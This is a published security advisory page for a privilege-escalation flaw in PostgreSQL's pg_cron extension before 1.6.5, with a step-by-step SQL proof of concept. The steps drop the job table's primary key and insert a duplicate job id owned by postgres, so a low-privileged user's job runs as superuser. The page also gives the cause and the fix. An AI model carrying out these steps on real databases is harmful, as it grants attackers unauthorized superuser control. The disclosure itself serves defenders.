Skip to content
GoogleGHSA-j8p5-79jf-g575

PostgreSQL: Privilege Escalation Vulnerability via pg_cron

HighPublished Mar 5, 2025

### Summary A logical flaw in the pg_cron extension allows low-privileged users with ownership over pg_cron's job table or ability to change the value of cron.database_name to run arbitrary SQL queries as any user including superusers. This is also possible if superuser jobs are explicitly disabled. An attacker can bypass this restriction by removing the uniqueness constraint for the primary key of pg_cron's underlying job table and inserting two jobs with the same `jobId` (one running as e.g. `low-priv-user` and the other one running as `superuser`). Although the `superuser` job is denied, it is mistakenly executed when running the first job because hte `jobId` is used as a reference in pg_cron's internal data structures. ### Severity High - This vulnerability allows a lot privileged user to run arbitrary SQL commands in the context of `superuser`. ### Proof of Concept Enable pg_cron extension with background workers (`postgresql.conf`): ```sql shared_preload_libraries = 'pg_cron' cron.use_background_workers = on ``` Connect to database with superuser (e.g., `postgres`) and create `pg_cron` extension: ```sql postgres=# CREATE EXTENSION pg_cron; ``` Create low-privileged use...

GitHub advisory

Affected versions

PackageAffectedFixed in
PostgreSQL - pg_cron
Product
< 1.6.51.6.5
Details and references

### Summary A logical flaw in the pg_cron extension allows low-privileged users with ownership over pg_cron's job table or ability to change the value of cron.database_name to run arbitrary SQL queries as any user including superusers. This is also possible if superuser jobs are explicitly disabled. An attacker can bypass this restriction by removing the uniqueness constraint for the primary key of pg_cron's underlying job table and inserting two jobs with the same `jobId` (one running as e.g. `low-priv-user` and the other one running as `superuser`). Although the `superuser` job is denied, it is mistakenly executed when running the first job because hte `jobId` is used as a reference in pg_cron's internal data structures. ### Severity High - This vulnerability allows a lot privileged user to run arbitrary SQL commands in the context of `superuser`. ### Proof of Concept Enable pg_cron extension with background workers (`postgresql.conf`): ```sql shared_preload_libraries = 'pg_cron' cron.use_background_workers = on ``` Connect to database with superuser (e.g., `postgres`) and create `pg_cron` extension: ```sql postgres=# CREATE EXTENSION pg_cron; ``` Create low-privileged user and grant usage access to `cron` schema: ```sql postgres=# CREATE USER "low-priv-user"; postgres=# GRANT USAGE ON SCHEMA cron TO "low-priv-user"; ``` Make the low-privileged user owner of the `cron.job` table (required for the low-privileged user to alter the table): ```sql postgres=# ALTER TABLE cron.job OWNER to "low-priv-user"; ``` Create a temporary table (we will write the output of `CURRENT_USER` here to verify our privileges): ```sql postgres=# CREATE TABLE foo(bar TEXT); postgres=# GRANT ALL PRIVILEGES ON TABLE foo TO "low-priv-user"; ``` Switch to low-privileged user and schedule a legit job via `cron.schedule`: ```sql postgres=# SET ROLE "low-priv-user"; postgres=> SELECT cron.schedule('legit-job', '* * * * *', 'INSERT INTO foo (bar) VALUES(CURRENT_USER)'); ``` This adds an entry in the `cron.job` table: ```sql postgres=> SELECT jobid, username, command FROM cron.job; -------------------------------------------------------------------------- jobid username command -------------------------------------------------------------------------- 1 low-priv-user INSERT INTO foo (bar) VALUES(CURRENT_USER) ``` Drop the uniqueness constraint from the primary key `jobid`: ```sql postgres=> ALTER TABLE cron.job DROP CONSTRAINT job_pkey; ``` Now, we can insert another entry with the same `jobid` (`username` is set to `postgres`): ```sql postgres=> INSERT INTO cron.job (jobid, schedule, nodename, nodeport, command, username) VALUES (1, '* * * * *', 'localhost', 5432, 'INSERT INTO foo(bar) VALUES(USER)', 'postgres'); ``` At this point, there are two entries in the `cron.job` table with the same `jobid`. The second entry has the `username` set to `postgres`: ```sql postgres=> SELECT jobid, username, command FROM cron.job; -------------------------------------------------------------------------- jobid username command -------------------------------------------------------------------------- 1 low-priv-user INSERT INTO foo (bar) VALUES(CURRENT_USER) 1 postgres INSERT INTO foo (bar) VALUES(CURRENT_USER) ``` After the job has been executed, we can verify the `CURRENT_USER` output in the `foo` table: ```sql postgres=> SELECT * FROM foo; -------------------------------------------------------------------------- bar -------------------------------------------------------------------------- postgres ``` ### Further Analysis #### Recommendations The superuser check should be done before storing the `CronJob` data structure in the `CronJobHash` hash table. Fixed version is available and should be updated to 1.6.5. #### Technical Details pg_cron uses a table called cron.job to store scheduled jobs (see [here](https://github.com/citusdata/pg_cron/blob/v1.6.4/pg_cron.sql#L

Severity from
GitHub (reviewed advisory)

More Google advisories

All Google
Advisory
OnlyOffice: Docker Man-in-the-middle attack (MitM)
LowApr 22, 2025
W3C - CSS Validator XXE
HighMar 28, 2025
PaloAlto OpenConfig Plugin: Command Injection Vulnerability
High8.6Feb 19, 2025
RSync: Heap Buffer Overflow, Info Leak, Server Leaks, Path Traversal and Safe links Bypass
HighFeb 19, 2025
AMD: Microcode Signature Verification Vulnerability
High7.2Feb 3, 2025
ENGAGE - Server Displaying Sensitive Information
LowJan 10, 2025

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.